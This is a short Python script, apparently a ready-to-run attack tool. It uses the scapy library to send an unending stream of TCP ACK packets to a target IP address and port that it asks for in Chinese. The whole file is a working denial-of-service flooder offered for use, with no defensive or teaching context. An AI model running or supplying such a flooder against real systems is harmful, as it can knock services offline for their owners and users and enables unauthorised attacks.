from scapy.all import *

def ack_flood(target_ip, target_port):
    while True:
        send(IP(dst=target_ip)/TCP(dport=target_port, flags="A"), verbose=False)

target_ip = input("请输入目标IP地址: ")
target_port = int(input("请输入目标端口号: "))

ack_flood(target_ip, target_port)